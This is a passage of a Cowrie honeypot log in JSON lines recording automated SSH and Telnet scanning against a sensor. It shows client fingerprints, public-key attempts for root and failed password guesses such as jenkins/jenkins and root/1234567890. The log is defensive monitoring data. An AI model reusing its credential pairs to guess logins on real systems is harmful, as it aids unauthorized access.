sage":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:52.974322Z","src_ip":"176.65.132.129","session":"0f1cd4395ab1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:31:cd:f7:60:85:b0:b1:f6:03:77:24:c1:45:d7:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTLloKj53zx4c/di1EszKG94SDlcASOOWnZgV936B7A9GWCSP4ww1a0csnqhvm//tfh/sjfKfT/KtbdPbvjIpS8Zz8DDuFoCwLitVQ9ty+DVZNu8MqvxSV/be1KnKxod+3WWxO0tEs4dDGEQczZu1xPtZXueEUAX4sJn2Qqs0G/rwSRVOn9QWuWW8T1ZrtQLWO7Py7wK+YjDTRhWOpJg3OX9X/kxlVqG+38oCwg2dIBK3uSc0zGCzPr9+Lmx1E3UiBWOgMWRXYnXWqUAMcGizF5bbb3C1QRvlDv0wtb7KsIXMin1vx/lrdFRgSQ7jlDqAYtUAJtvfFHPi3FsiAbS6gwkG2Z4qA+9WdXVj7OrHN9VHc4YRFfMqnDC2LAqGSge/dFZPJLjxPKwK/mF9gY2vlVqcXjGvk7w7/2KqzZr6o9Z26i2le3A9qWAElt/sPSxlinhr2d4QeZo3wzmW+b59Rkv0bphYzraBKU90/Zx1ho8OSpFtLP5m4D1kGH/HRYZ2By9cEFj1FjE/b5YAkG8ylNQevmTqn/8dj1MWOU8C4ASOHnhbd+Pf7Ldrrq1X4imYBu5uAl0mE8zbNgWu+lY0TU7xyJFWdFDD/GP7sL11x4LM7YnzyMJrLZuetcCNhqX2TgMXJLDzAv89v2dVLPQ9qU4TAM/8knTgN6J0oT7DEvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:31:cd:f7:60:85:b0:b1:f6:03:77:24:c1:45:d7:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:53.041664Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:31:cd:f7:60:85:b0:b1:f6:03:77:24:c1:45:d7:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTLloKj53zx4c/di1EszKG94SDlcASOOWnZgV936B7A9GWCSP4ww1a0csnqhvm//tfh/sjfKfT/KtbdPbvjIpS8Zz8DDuFoCwLitVQ9ty+DVZNu8MqvxSV/be1KnKxod+3WWxO0tEs4dDGEQczZu1xPtZXueEUAX4sJn2Qqs0G/rwSRVOn9QWuWW8T1ZrtQLWO7Py7wK+YjDTRhWOpJg3OX9X/kxlVqG+38oCwg2dIBK3uSc0zGCzPr9+Lmx1E3UiBWOgMWRXYnXWqUAMcGizF5bbb3C1QRvlDv0wtb7KsIXMin1vx/lrdFRgSQ7jlDqAYtUAJtvfFHPi3FsiAbS6gwkG2Z4qA+9WdXVj7OrHN9VHc4YRFfMqnDC2LAqGSge/dFZPJLjxPKwK/mF9gY2vlVqcXjGvk7w7/2KqzZr6o9Z26i2le3A9qWAElt/sPSxlinhr2d4QeZo3wzmW+b59Rkv0bphYzraBKU90/Zx1ho8OSpFtLP5m4D1kGH/HRYZ2By9cEFj1FjE/b5YAkG8ylNQevmTqn/8dj1MWOU8C4ASOHnhbd+Pf7Ldrrq1X4imYBu5uAl0mE8zbNgWu+lY0TU7xyJFWdFDD/GP7sL11x4LM7YnzyMJrLZuetcCNhqX2TgMXJLDzAv89v2dVLPQ9qU4TAM/8knTgN6J0oT7DEvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:53.045632Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:ee:b3:8f:a6:ac:7d:b6:0c:32:db:7f:b3:c8:5d:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHmI/UT/cK6ulZJK80KaBbSV60tm1m0rLnr87AQE1TQZMWStcyYWGDBIoEjwMyl4pcHYdqB/jO/yRabVor76mptAD3x9OS3waCMO2YbAPA/Ugjt+Qyabe08m19H3P6g3TI8Hc6k+SVGHLxmRMZvytV2f0JVexDFACVlt1zF4wL7YQKTpJvR5M6IcwYqligQZqGkOICDhLlk9o86uik51q2o2nLjJTDuktxED8WcXnV4i6/Kuw676yvYod9t5dMSQolX+2MAFZGLXuWAPTrEU7x11AzI2St1Oe/RKHymTFkR00eGqAhZpRT6q3I2nQOhBAhDgZpv0BE3k8BNTkyi9gge7V6TYmc+aRkRAedn8zA+lxbPb1l2bsF5BNw5mokimjq1OzYz7oCC0XtNADkTuq/CSSVOnuRmCxao8bXFR8is0yi+oWsegCnL5+oTqRy79K6lIb8fK3XfoKBwfC8L2BRovN4S9HbRGMQlhcIBSe8G5TFHhNdno9nxqyvf/fUKTvPzYclApPBCYEpErB+XdeUeZ0DYEokLvLnFLYPqSWFQ3u+iuXJ8MRrOSrVft5z2y8+souvXz/ljjjI/Ti9CIpGUYeWMSSKR6k08y0aoU3In4DH9k0SsjfLHU5Gi8q3SasNBCLJuToZiO+sUFi6PrQxGyd1TfWoQ1/XK26l9jEOQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:ee:b3:8f:a6:ac:7d:b6:0c:32:db:7f:b3:c8:5d:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:53.163064Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:ee:b3:8f:a6:ac:7d:b6:0c:32:db:7f:b3:c8:5d:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHmI/UT/cK6ulZJK80KaBbSV60tm1m0rLnr87AQE1TQZMWStcyYWGDBIoEjwMyl4pcHYdqB/jO/yRabVor76mptAD3x9OS3waCMO2YbAPA/Ugjt+Qyabe08m19H3P6g3TI8Hc6k+SVGHLxmRMZvytV2f0JVexDFACVlt1zF4wL7YQKTpJvR5M6IcwYqligQZqGkOICDhLlk9o86uik51q2o2nLjJTDuktxED8WcXnV4i6/Kuw676yvYod9t5dMSQolX+2MAFZGLXuWAPTrEU7x11AzI2St1Oe/RKHymTFkR00eGqAhZpRT6q3I2nQOhBAhDgZpv0BE3k8BNTkyi9gge7V6TYmc+aRkRAedn8zA+lxbPb1l2bsF5BNw5mokimjq1OzYz7oCC0XtNADkTuq/CSSVOnuRmCxao8bXFR8is0yi+oWsegCnL5+oTqRy79K6lIb8fK3XfoKBwfC8L2BRovN4S9HbRGMQlhcIBSe8G5TFHhNdno9nxqyvf/fUKTvPzYclApPBCYEpErB+XdeUeZ0DYEokLvLnFLYPqSWFQ3u+iuXJ8MRrOSrVft5z2y8+souvXz/ljjjI/Ti9CIpGUYeWMSSKR6k08y0aoU3In4DH9k0SsjfLHU5Gi8q3SasNBCLJuToZiO+sUFi6PrQxGyd1TfWoQ1/XK26l9jEOQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:53.166050Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:53.221001Z","src_ip":"176.65.132.129","session":"0f1cd4395ab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:53.282009Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57966,"dst_ip":"10.17.0.5","dst_port":23,"session":"91624b36c0e2","protocol":"telnet","message":"New connection: 45.58.127.90:57966 (10.17.0.5:23) [session: 91624b36c0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:53.397592Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:54.389506Z","src_ip":"176.65.132.129","session":"0f1cd4395ab1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52310,"dst_ip":"159.203.135.109","dst_port":22,"session":"05fd93e32944","protocol":"ssh","message":"New connection: 172.237.20.62:52310 (159.203.135.109:22) [session: 05fd93e32944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:54.601113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:54.696841Z","src_ip":"172.237.20.62","session":"05fd93e32944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:54.860040Z","src_ip":"172.237.20.62","session":"05fd93e32944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42664,"dst_ip":"10.17.0.5","dst_port":23,"session":"8991d5b16764","protocol":"telnet","message":"New connection: 45.58.127.90:42664 (10.17.0.5:23) [session: 8991d5b16764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:55.222280Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:55.349452Z","src_ip":"172.237.20.62","session":"05fd93e32944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.0619120597839355,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:55.459402Z","src_ip":"45.58.127.90","session":"91624b36c0e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45342,"dst_ip":"159.203.135.109","dst_port":22,"session":"76d1d08212b5","protocol":"ssh","message":"New connection: 176.65.132.129:45342 (159.203.135.109:22) [session: 76d1d08212b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:56.194312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:56.198813Z","src_ip":"176.65.132.129","session":"76d1d08212b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:56.282540Z","src_ip":"176.65.132.129","session":"76d1d08212b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:56.514939Z","src_ip":"172.237.20.62","session":"05fd93e32944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:56.879914Z","src_ip":"176.65.132.129","session":"76d1d08212b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:57.966500Z","src_ip":"176.65.132.129","session":"76d1d08212b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45358,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4fbd101e9bc","protocol":"ssh","message":"New connection: 176.65.132.129:45358 (159.203.135.109:22) [session: f4fbd101e9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:59.426768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:59.437112Z","src_ip":"176.65.132.129","session":"f4fbd101e9bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:59.510494Z","src_ip":"176.65.132.129","session":"f4fbd101e9bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:59.826556Z","src_ip":"176.65.132.129","session":"f4fbd101e9bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:00.912301Z","src_ip":"176.65.132.129","session":"f4fbd101e9bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.23444652557373,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:01.931921Z","src_ip":"45.58.127.90","session":"e1a56e6bd156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45364,"dst_ip":"159.203.135.109","dst_port":22,"session":"84513e145da5","protocol":"ssh","message":"New connection: 176.65.132.129:45364 (159.203.135.109:22) [session: 84513e145da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:02.653097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:02.658257Z","src_ip":"176.65.132.129","session":"84513e145da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:02.742536Z","src_ip":"176.65.132.129","session":"84513e145da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:02.993694Z","src_ip":"176.65.132.129","session":"84513e145da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:04.083114Z","src_ip":"176.65.132.129","session":"84513e145da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":40110,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f91c22bcb82","protocol":"ssh","message":"New connection: 172.237.20.62:40110 (159.203.135.109:22) [session: 1f91c22bcb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:05.466853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:05.473567Z","src_ip":"172.237.20.62","session":"1f91c22bcb82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:05.637395Z","src_ip":"172.237.20.62","session":"1f91c22bcb82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57386,"dst_ip":"159.203.135.109","dst_port":22,"session":"a537b5d9a730","protocol":"ssh","message":"New connection: 176.65.132.129:57386 (159.203.135.109:22) [session: a537b5d9a730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:05.858487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:05.864086Z","src_ip":"176.65.132.129","session":"a537b5d9a730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:05.949481Z","src_ip":"176.65.132.129","session":"a537b5d9a730","protocol":"ssh"}
